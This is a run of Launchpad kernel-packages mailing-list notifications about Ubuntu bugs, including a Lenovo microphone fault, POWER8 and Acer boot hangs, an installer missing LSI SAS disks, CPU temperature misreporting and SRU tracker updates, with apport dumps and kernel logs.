  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  silvana2681 F pulseaudio
   /dev/snd/controlC1:  silvana2681 F pulseaudio
  CurrentDesktop: LXDE
  DistroRelease: Ubuntu 16.04
  HibernationDevice: RESUME=UUID=ed5f69ec-7e3c-40e2-9c00-9b93ff0b463f
  InstallationDate: Installed on 2016-09-02 (0 days ago)
  InstallationMedia: Lubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160720)
  MachineType: LENOVO 80E3
  Package: linux (not installed)
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-36-generic.efi.signed 
root=UUID=baa34df9-fd6a-44bd-8c25-64bec78743a2 ro quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 4.4.0-36.55-generic 4.4.16
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-36-generic N/A
   linux-backports-modules-4.4.0-36-generic  N/A
   linux-firmware1.157.3
  Tags:  xenial
  Uname: Linux 4.4.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/26/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A2CN25WW(V1.07)
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: Lancer 5B2
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993 WIN
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-45
  dmi.modalias: 
dmi:bvnLENOVO:bvrA2CN25WW(V1.07):bd08/26/2014:svnLENOVO:pn80E3:pvrLenovoG50-45:rvnLENOVO:rnLancer5B2:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-45:
  dmi.product.name: 80E3
  dmi.product.version: Lenovo G50-45
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1619866/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1619866] Re: Lenovo G50-45 inverted microphone not detected properly

[Brad]

** Also affects: pulseaudio (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1619866

Title:
  Lenovo G50-45 inverted microphone not detected properly

Status in linux package in Ubuntu:
  Expired
Status in pulseaudio package in Ubuntu:
  New

Bug description:
  System: Lenovo G50-45 with Lubuntu 16.04

  Alsa information: http://www.alsa-
  project.org/db/?f=5e8ab749ddf4f0a7e4ae8f3ce678ddb9cb12c89f

  Internal microphone does not pick up sound by default. When I mute one 
channel, it works (this is not a good workaround since some application, such 
as Facebook Messenger, unmute both channels and set them to the same level 
automatically).
  --- 
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  silvana2681 F pulseaudio
   /dev/snd/controlC1:  silvana2681 F pulseaudio
  CurrentDesktop: LXDE
  DistroRelease: Ubuntu 16.04
  HibernationDevice: RESUME=UUID=ed5f69ec-7e3c-40e2-9c00-9b93ff0b463f
  InstallationDate: Installed on 2016-09-02 (0 days ago)
  InstallationMedia: Lubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160720)
  MachineType: LENOVO 80E3
  Package: linux (not installed)
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-36-generic.efi.signed 
root=UUID=baa34df9-fd6a-44bd-8c25-64bec78743a2 ro quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 4.4.0-36.55-generic 4.4.16
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-36-generic N/A
   linux-backports-modules-4.4.0-36-generic  N/A
   linux-firmware1.157.3
  Tags:  xenial
  Uname: Linux 4.4.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/26/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A2CN25WW(V1.07)
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: Lancer 5B2
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993 WIN
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-45
  dmi.modalias: 
dmi:bvnLENOVO:bvrA2CN25WW(V1.07):bd08/26/2014:svnLENOVO:pn80E3:pvrLenovoG50-45:rvnLENOVO:rnLancer5B2:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-45:
  dmi.product.name: 80E3
  dmi.product.version: Lenovo G50-45
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1619866/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1773162] Re: 4.15.0-22-generic fails to boot on IBM S822LC (POWER8 (raw), altivec supported)

[Steve Langasek]

There has been no build of debian-installer in bionic-proposed against
the 4.15.0-22 kernel reported to have this issue.  The 4.15.0-24 kernel
is now released to bionic-updates.  So there should be no changes
required on debian-installer for this.

** Changed in: debian-installer (Ubuntu)
   Status: New => Invalid

** Changed in: debian-installer (Ubuntu Bionic)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1773162

Title:
  4.15.0-22-generic fails to boot on IBM S822LC (POWER8 (raw), altivec
  supported)

Status in The Ubuntu-power-systems project:
  Fix Committed
Status in debian-installer package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Fix Committed
Status in debian-installer source package in Bionic:
  Invalid
Status in linux source package in Bionic:
  Fix Released

Bug description:
  Upgrading from 16.04 to 18.04 on a IBM S822LC the system does not boot
  with 4.15.0-22-generic and is in a reboot cycle.

  ```
  Exiting petitboot. Type 'exit' to return.
  The system is going down NOW!
  Sent SIGTERM to all processes
  Sent SIGKILL to all processes
  [31775213631,3] OPAL: Trying a CPU re-init with flags: 0x1
  [32097001879,3] OPAL: Trying a CPU re-init with flags: 0x2
  [2.660186] Bad kernel stack pointer 7fffcd511100 at c000b9ec
  [2.660382] Oops: Bad kernel stack pointer, sig: 6 [#1]
  [2.660422] LE SMP NR_CPUS=2048 NUMA PowerNV
  [2.660462] Modules linked in:
  [2.660494] CPU: 63 PID: 1201 Comm: modprobe Not tainted 4.15.0-22-generic 
#24-Ubuntu
  [2.660549] NIP:  c000b9ec LR:  CTR: 

  [2.660603] REGS: c0003fd0bd40 TRAP: 0300   Not tainted  
(4.15.0-22-generic)
  [2.660657] MSR:  90001031   CR:   XER: 

  [2.660713] CFAR: c000b934 DAR: 000200f0 DSISR: 4000 
SOFTE: -4611686018408771536 
  [2.660713] GPR00:  7fffcd511100  
 
  [2.660713] GPR04:    
 
  [2.660713] GPR08:    
 
  [2.660713] GPR12: 75501b231700 000200f0  
 
  [2.660713] GPR16:    
 
  [2.660713] GPR20:    
 
  [2.660713] GPR24:    
 
  [2.660713] GPR28:    
 
  [2.661203] NIP [c000b9ec] fast_exception_return+0x9c/0x184
  [2.661249] LR []   (null)
  [2.661285] Call Trace:
  [2.661303] Instruction dump:
  [2.661331] e84101a0 7c4ff120 e8410170 7c5a03a6 e8010070 e8410080 e8610088 
e8810090 
  [2.661387] e8210078 7db243a6 7db142a6 7c0004ac  63ff 
7db242a6 4810 
  [2.661445] ---[ end trace b607b09fe6490607 ]---
  […]
  ```

  Please find the full log attached. Selecting Linux 4.4.0-124-generic
  works.

  ```
  $ uname -a
  Linux flughafenberlinbrandenburgwillybrandt 4.4.0-124-generic #148-Ubuntu SMP 
Wed May 2 13:02:22 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux
  $ dpkg -l linux-image-4.15.0-22-generic
  Desired=Unknown/Install/Remove/Purge/Hold
  | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
  |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
  ||/ Name   Version
Architecture   Description
  
+++-==-==-==-=
  ii  linux-image-4.15.0-22-generic  4.15.0-22.24   
ppc64elSigned kernel image generic
  $ more /etc/os-release 
  NAME="Ubuntu"
  VERSION="18.04 LTS (Bionic Beaver)"
  ID=ubuntu
  ID_LIKE=debian
  PRETTY_NAME="Ubuntu 18.04 LTS"
  VERSION_ID="18.04"
  HOME_URL="https://www.ubuntu.com/;
  SUPPORT_URL="https://help.ubuntu.com/;
  BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/;
  
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy;
  VERSION_CODENAME=bionic
  UBUNTU_CODENAME=bionic
  ```
  --- 
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 May 23 16:40 seq
   crw-rw 1 root audio 116, 33 May 23 16:40 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: ppc64el
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 
'arecord'
  AudioDevicesInUse: 

[Kernel-packages] [Bug 1779815] Re: [Ubuntu 18.04.01][BostonLC][mpt3sas] installer does not detect any LSI based SAS/md raid device

[Steve Langasek]

** Changed in: linux (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779815

Title:
  [Ubuntu 18.04.01][BostonLC][mpt3sas] installer does not detect any LSI
  based SAS/md raid device

Status in The Ubuntu-power-systems project:
  Triaged
Status in debian-installer package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Invalid

Bug description:
  == Comment: #0 - ABDUL HALEEM  - 2018-07-02 03:55:33 ==
  ---Problem Description---
  Ubuntu 18.04.01 ppc64el installer does not detect LSI3008  base SAS disks / 
MD RAID devices 

  Used 20101020ubuntu543 version to install
  
http://ports.ubuntu.com/ubuntu-ports/dists/bionic/main/installer-ppc64el/current/images/netboot/ubuntu-installer/ppc64el/

  Contact Information = abdha...@in.ibm.com 
   
  ---uname output---
  Linux ltc-boston21 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 
2018 ppc64le ppc64le ppc64le GNU/Linux
   
  Machine Type = BostonLC
   
  ---boot type---
  Network boot
   

  Installer fails to detect the LSI SAS disks / RAID MD device

  ===console error log===

?? [!!] Partition disks ???
? ?
? Note that all data on the disk you select will be erased, but not   ?
? before you have confirmed that you really want to make the changes. ?
? ?
? Select disk to partition:   ?
? ?
? /dev/nvme0n1 - 491.5 GB NVMe Device ?
? /dev/nvme1n1 - 98.3 GB NVMe Device  ?
? ?
??
? ?
???



   moves;  selects;  activates buttons

  
  To make sure it detects the disks I had to 
  
  
  Detect disks-->Guided partitioning--> Guided - use entire disk 

  
?? [!!] Partition disks ???
? ?
? Note that all data on the disk you select will be erased, but not   ?
? before you have confirmed that you really want to make the changes. ?
? ?
? Select disk to partition:   ?
? ?
?  /dev/nvme0n1 - 491.5 GB NVMe Device?
?  /dev/nvme1n1 - 98.3 GB NVMe Device ?
?  SCSI3 (0,0,0) (sda) - 4.0 TB SEAGATE ST4000NM0075  ?
?  SCSI3 (1,0,0) (sdb) - 199.9 GB LSI Logical Volume  ?
?  SCSI3 (0,2,0) (sdc) - 2.0 TB ATA ST2000NM0125-1YZ  ?
? ?
??
? ?
???

  IPR had similar issue reported  #164932 and fixed with 4.15.0-20,
  looks installer need a fix for LSI (mpt3sas) devices too

  == Comment: #2 - SEETEENA THOUFEEK  - 2018-07-03 
02:01:47 ==
  164932 - refers LP1751813

  == Comment: #3 - SEETEENA THOUFEEK  - 2018-07-03 
02:02:51 ==
  Jul  2 08:49:52 anna-install: Installing mdadm-udeb
  Jul  2 08:49:52 disk-detect: No Intel/DDF RAID disks detected.
  Jul  2 08:49:52 anna-install: Installing dmraid-udeb
  Jul  2 08:49:52 disk-detect: No Serial ATA RAID disks detected
  Jul  2 08:49:53 check-missing-firmware: looking at dmesg again, restarting 
from \[  330.659712\]
  Jul  2 08:49:53 check-missing-firmware: timestamp found, truncating dmesg 
accordingly
  Jul  2 08:49:53 check-missing-firmware: saving timestamp for a later use: 
  Jul  2 08:49:53 check-missing-firmware: /dev/.udev/firmware-missing does not 
exist, skipping
  Jul  2 08:49:53 check-missing-firmware: /run/udev/firmware-missing does not 
exist, skipping
  Jul  2 08:49:53 check-missing-firmware: no missing firmware in loaded kernel 
modules
  Jul  2 08:49:53 main-menu[1425]: (process:8933): ERROR: unsupported sector 
size 4096 on /dev/sda.
  Jul  2 08:49:53 main-menu[1425]: (process:8933): File descriptor 3 
(pipe:[38926]) leaked on pvs invocation. Parent PID 8940: /bin/sh
  Jul  

[Kernel-packages] [Bug 1779379] Re: linux-aws: 4.4.0-1063.72 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/promote-to-security
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1779379

Title:
  linux-aws: 4.4.0-1063.72 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-aws package in Ubuntu:
  Invalid
Status in linux-aws source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1779376
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779379/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779827] Re: failure to boot with linux-image-4.15.0-24-generic

[Ralf Hersel]

Installing the entropy daemon 'haveged' (sudo apt install haveged)
worked on my notebook (Clevo, Tuxedo MS-1753, Kernel 4.15.0-24-generic).
Boot time is as normal. Also manually adding entropy by moving the mouse
like hell, reduced the boot time from 5 to 1.4 minutes.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779827

Title:
  failure to boot with linux-image-4.15.0-24-generic

Status in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  In Progress
Status in The Bionic Beaver:
  Confirmed
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  This was the last OK then my 18.04 hangs after an update this morning.
  07:00 AM CEST

  Last Ok in boot was Started gnome display manager. dispatcher service
  .. tem changes.pp link was shut down

  Tried install lightdm from command line and the  response was lastest
  already installed.

  Probably it is what is coming after the lastest OK which is to be the
  error. And here I have lots of guesses..

  Any Ideas ? I need to do some work and I may not be waiting long.

  Search and browsed and now close to give up. Yeah it is a Lenovo.

  Guys: turn of auto update it is a machine killer.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+bug/1779827/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781924] ProcCpuinfoMinimal.txt

[benjamin button]

apport information

** Attachment added: "ProcCpuinfoMinimal.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164244/+files/ProcCpuinfoMinimal.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 

[Kernel-packages] [Bug 1781924] Lspci.txt

[benjamin button]

apport information

** Attachment added: "Lspci.txt"
   https://bugs.launchpad.net/bugs/1781924/+attachment/5164242/+files/Lspci.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  dmi.board.asset.tag: 

[Kernel-packages] [Bug 1776563] Re: Acer Aspire A315 ACPI failure on Ubuntu 18.04, kernel hangs, can't load, kernel freeze (AMD Ryzen 5/Radeon/Raven)

[Richard Baka]

Here is a hiDPI scaling script for Gnome3:

#!/bin/bash
gsettings set org.gnome.desktop.interface scaling-factor 2
eval sleep 1;xrandr --output eDP --scale 1.6x1.6 --panning 3072x1728

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-firmware in Ubuntu.
https://bugs.launchpad.net/bugs/1776563

Title:
  Acer Aspire A315 ACPI failure on Ubuntu 18.04, kernel hangs, can't
  load, kernel freeze  (AMD Ryzen 5/Radeon/Raven)

Status in amd:
  New
Status in Linux:
  Incomplete
Status in linux package in Ubuntu:
  Confirmed
Status in linux-firmware package in Ubuntu:
  New

Bug description:
  CPU: Ryzen 5 2500U
  VGA: Radeon 535
  Notebook: Acer Aspire A315

  This is a brand new notebook on the market with Ryzen 5/Radeon. 
  The default kernel of Ubuntu(18.04) hangs at loading with message:

  tsc: Refined TSC clocksource calibration: 1996.250 MHz
  clocksource: tsc: mask: 0x max_cycles: (...), max_idle_ns: 
(...) 
  Soft lockup

  Using pci=noacpi kernel parameter kernel loads without any problem but
  my notebook produces more heat than on Win10. If I know right Acer
  notebooks need ACPI to the correct power management.

  The same thing happens on mainline 4.17,4.18rc1-2.
  BIOS upgrade to the latest version: 1.08 hasn't helped

  This problem has been reported upstream:
  https://bugzilla.kernel.org/show_bug.cgi?id=200087

  The latest correctly working kernel was 4.13.* but the heat problem
  was present with this too.

To manage notifications about this bug go to:
https://bugs.launchpad.net/amd/+bug/1776563/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779376] Re: linux: 4.4.0-131.157 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/promote-to-security
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779376

Title:
  linux: 4.4.0-131.157 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  In Progress
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow snap-certification-testing series:
  New
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

